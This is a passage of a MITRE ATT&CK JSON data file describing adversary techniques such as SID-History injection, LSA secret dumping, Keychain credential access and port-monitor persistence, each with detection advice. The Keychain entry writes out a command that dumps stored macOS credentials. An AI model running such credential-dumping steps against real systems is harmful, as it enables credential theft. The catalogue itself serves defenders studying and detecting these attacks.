2021.","url":"https://docs.docker.com/engine/reference/commandline/images/"},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"https://www.elastic.co/blog/how-hunt-masquerade-ball"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Kelly, @breakersall"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1172","url":"https://attack.mitre.org/techniques/T1172"},{"url":"http://www.icir.org/vern/papers/meek-PETS-2015.pdf","description":"David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.","source_name":"Fifield Blocking Resistent Communication through domain fronting 2015"}],"modified":"2020-03-14T23:29:54.083Z","name":"Domain Fronting","description":"Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","type":"attack-pattern","created":"2020-10-01T01:42:24.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.003","url":"https://attack.mitre.org/techniques/T1587/003"},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"modified":"2021-10-16T17:32:34.604Z","name":"Digital Certificates","description":"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"modified":"2024-08-26T16:33:33.982Z","name":"Stored Data Manipulation","description":"Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Modification","File: File Creation","File: File Deletion"],"x_mitre_impact_type":["Integrity"],"type":"attack-pattern","id":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","created":"2020-03-02T14:22:24.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1565/001","external_id":"T1565.001"},{"source_name":"DOJ Lazarus Sony 2018","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.","url":"https://www.justice.gov/opa/press-release/file/1092091/download"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Password Cracking","description":"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Mohamed Kmal"],"x_mitre_deprecated":false,"x_mitre_detection":"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.3","x_mitre_data_sources":["User Account: User Account Authentication","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","created":"2020-02-11T18:38:56.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1110/002","external_id":"T1110.002"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"},{"source_name":"Wikipedia Password cracking","description":"Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.","url":"https://en.wikipedia.org/wiki/Password_cracking"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux","Alain Homewood, Insomnia Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1178","url":"https://attack.mitre.org/techniques/T1178"},{"source_name":"Microsoft SID","description":"Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"},{"url":"https://msdn.microsoft.com/library/ms679833.aspx","description":"Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.","source_name":"Microsoft SID-History Attribute"},{"source_name":"Microsoft Well Known SIDs Jun 2017","description":"Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.","url":"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"},{"source_name":"Microsoft Get-ADUser","description":"Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.","url":"https://technet.microsoft.com/library/ee617241.aspx"},{"source_name":"AdSecurity SID History Sept 2015","description":"Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.","url":"https://adsecurity.org/?p=1772"},{"url":"https://msdn.microsoft.com/library/ms677982.aspx","description":"Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.","source_name":"Microsoft DsAddSidHistory"}],"modified":"2020-02-18T18:35:21.493Z","name":"SID-History Injection","description":"The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","type":"attack-pattern","created":"2020-02-19T18:46:06.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1114.001","url":"https://attack.mitre.org/techniques/T1114/001"},{"source_name":"Outlook File Sizes","url":"https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/","description":"N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."},{"source_name":"Microsoft Outlook Files","url":"https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790","description":"Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020."}],"modified":"2020-03-24T17:59:20.983Z","name":"Local Email Collection","description":"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"modified":"2024-10-15T16:35:39.985Z","name":"Keychain","description":"Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_deprecated":false,"x_mitre_detection":"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","created":"2020-02-12T18:55:24.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/001","external_id":"T1555.001"},{"source_name":"External to DA, the OS X Way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"},{"source_name":"Keychain Services Apple","description":"Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.","url":"https://developer.apple.com/documentation/security/keychain_services"},{"source_name":"Empire Keychain Decrypt","description":"Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022.","url":"https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py"},{"source_name":"OSX Keychain Schaumann","description":"Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.","url":"https://www.netmeister.org/blog/keychain-passwords.html"},{"source_name":"Keychain Decryption Passware","description":"Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022.","url":"https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:27:58.051Z","name":"Boot or Logon Autostart Execution","description":"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: OS API Execution","Module: Module Load","Command: Command Execution","File: File Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification","File: File Modification","Kernel: Kernel Module Load","Process: Process Creation","Driver: Driver Load"],"x_mitre_permissions_required":["User","Administrator","root"],"type":"attack-pattern","id":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","created":"2020-01-23T17:46:59.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547","external_id":"T1547"},{"source_name":"Cylance Reg Persistence Sept 2013","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.","url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"},{"source_name":"MSDN Authentication Packages","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"},{"source_name":"Microsoft Run Key","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"},{"source_name":"Microsoft TimeProvider","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"},{"source_name":"Linux Kernel Programming","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-13T15:49:17.591Z","name":"LSA Secrets","description":"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Windows Registry: Windows Registry Key Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","created":"2020-02-21T16:22:09.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/004","external_id":"T1003.004"},{"source_name":"Tilbury Windows Credentials","description":"Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.","url":"https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf"},{"source_name":"ired Dumping LSA Secrets","description":"Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020.","url":"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets"},{"source_name":"Microsoft AD Admin Tier Model","description":"Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN"},{"source_name":"Passcape LSA Secrets","description":"Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020.","url":"https://www.passcape.com/index.php?section=docsys&cmd=details&id=23"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125","type":"attack-pattern","created":"2017-05-31T21:30:26.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1013","url":"https://attack.mitre.org/techniques/T1013"},{"url":"http://msdn.microsoft.com/en-us/library/dd183341","description":"Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.","source_name":"AddMonitor"},{"url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf","description":"Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.","source_name":"Bloxham"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T19:47:55.183Z","name":"Port Monitors","description":"A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8","type":"attack-pattern","created":"2020-10-19T18:47:08.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600","url":"https://attack.mitre.org/techniques/T1600"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:37:49.258Z","name":"Weaken Encryption","description":"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt 